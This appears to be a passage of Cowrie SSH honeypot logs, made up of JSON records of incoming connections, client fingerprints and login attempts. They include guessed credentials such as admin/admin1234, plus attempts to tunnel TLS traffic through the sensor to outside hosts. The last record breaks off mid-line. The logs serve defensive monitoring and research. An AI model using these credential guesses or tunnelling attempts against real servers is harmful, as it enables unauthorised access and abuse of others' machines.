{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23882,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb7c07598f00","protocol":"ssh","message":"New connection: 91.92.40.36:23882 (159.203.135.109:22) [session: cb7c07598f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:59.642481Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:59.941489Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":46002,"dst_ip":"10.17.0.5","dst_port":22,"session":"162189819a20","protocol":"ssh","message":"New connection: 45.153.34.195:46002 (10.17.0.5:22) [session: 162189819a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.432320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.453218Z","src_ip":"45.153.34.195","session":"162189819a20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.547781Z","src_ip":"45.153.34.195","session":"162189819a20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123qwe","message":"login attempt [developer/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.715348Z","src_ip":"91.92.40.36","session":"72543fa38b00","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.791812Z","src_ip":"91.92.40.36","session":"cb7c07598f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.796178Z","src_ip":"91.92.40.36","session":"cb7c07598f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123456","message":"login attempt [ftpadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:00.869010Z","src_ip":"45.153.34.195","session":"162189819a20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.113878Z","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.184990Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x9e|\\xe5 \\xadu[\\xcajk\\xfa\\x0b\\\\\\x18\\xb5^\\x8e\\x8fl+9\\x87z|\\xd0\\xd7\\xe4R%:\\xd8 \\xc6\\xeaX\\x12\\xdd\\xd56\\xb7/\\xe0?g\\x1f\\xa4\\xe4[\\x9d\\xda\\x82;\\xddJcC\\xe6@\\x97\\xf4\\xbd\\xe2\\xde\\xd1\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa3\\xb5\\xfd\\xb8\\x1b\\x0f\\x98\\xcd\\xdb\\xd1\\xcfA\\xf3\\xb0$\\xb2\\xdcA<\\xf7s\\xa9\\x9c\\xe7\\x15\\x95s\\xb0\\xbe\\x16|H\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x9e|\\xe5 \\xadu[\\xcajk\\xfa\\x0b\\\\\\x18\\xb5^\\x8e\\x8fl+9\\x87z|\\xd0\\xd7\\xe4R%:\\xd8 \\xc6\\xeaX\\x12\\xdd\\xd56\\xb7/\\xe0?g\\x1f\\xa4\\xe4[\\x9d\\xda\\x82;\\xddJcC\\xe6@\\x97\\xf4\\xbd\\xe2\\xde\\xd1\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa3\\xb5\\xfd\\xb8\\x1b\\x0f\\x98\\xcd\\xdb\\xd1\\xcfA\\xf3\\xb0$\\xb2\\xdcA<\\xf7s\\xa9\\x9c\\xe7\\x15\\x95s\\xb0\\xbe\\x16|H\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.188187Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.715989Z","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.722371Z","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.768898Z","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.813242Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92Y\\x92$jmR\\'k\\x89A\\xf0\\xa6\\x82\\xf3,\\x7f5\\x03\\x85\\x91\\xe7\"\\x87-1>G^NK% \\xc3\\x14\\xe6\\xd2\\xde\\x9d\\x1e\\xac\\xb7\\xb4\\xb3UQ\\x16\\xdf\\x9d\\xefN\\x8aB\\xe0e\\x1c~\\xba\\xcbT\\x00\\xbd9b\\xe2\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 #\\x18\\xa2I\\xeax\\xfc<\\x83\\xd16C\"_\\\\J\\xb95\\x1b?\\x1f\\xd4\\x15\\xb2\\x04~\\xec\\xfd3\\xccb7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x92Y\\x92$jmR\\'k\\x89A\\xf0\\xa6\\x82\\xf3,\\x7f5\\x03\\x85\\x91\\xe7\"\\x87-1>G^NK% \\xc3\\x14\\xe6\\xd2\\xde\\x9d\\x1e\\xac\\xb7\\xb4\\xb3UQ\\x16\\xdf\\x9d\\xefN\\x8aB\\xe0e\\x1c~\\xba\\xcbT\\x00\\xbd9b\\xe2\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 #\\x18\\xa2I\\xeax\\xfc<\\x83\\xd16C\"_\\\\J\\xb95\\x1b?\\x1f\\xd4\\x15\\xb2\\x04~\\xec\\xfd3\\xccb7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.826997Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.831185Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03hQQ\\xabn\\xa6\\x981\\xd9I\\x9bF\\x03\\x99\\xfb}\\xcb\\xe7:D\\xf6\\xe9\\xcd\\x89B\\xdf\\xa1\\xba\\xbb\\x8d\\xef\\x02 \\xfa.y\\xa3\\xa4\\x80\\xc4|\\xa8\\x11IoI\\x04\\xb4\\xf1;C\\xd7\\x08\\xe9\\x95\\xdd\\xb4\\x07\\x03\\xbd\\xaa*ewk\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 d\\xd3\\xa5z\\xfa\\xa3\\x94\\t\\x7fD\\x9a\\x9as\\xd4\\xb2\\xc7.\\x81G\\x7fU\\xfc\\xd2\\xb0\\xb5\\xe2E\\x8e\\xa9\\x9b\\xb7L\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03hQQ\\xabn\\xa6\\x981\\xd9I\\x9bF\\x03\\x99\\xfb}\\xcb\\xe7:D\\xf6\\xe9\\xcd\\x89B\\xdf\\xa1\\xba\\xbb\\x8d\\xef\\x02 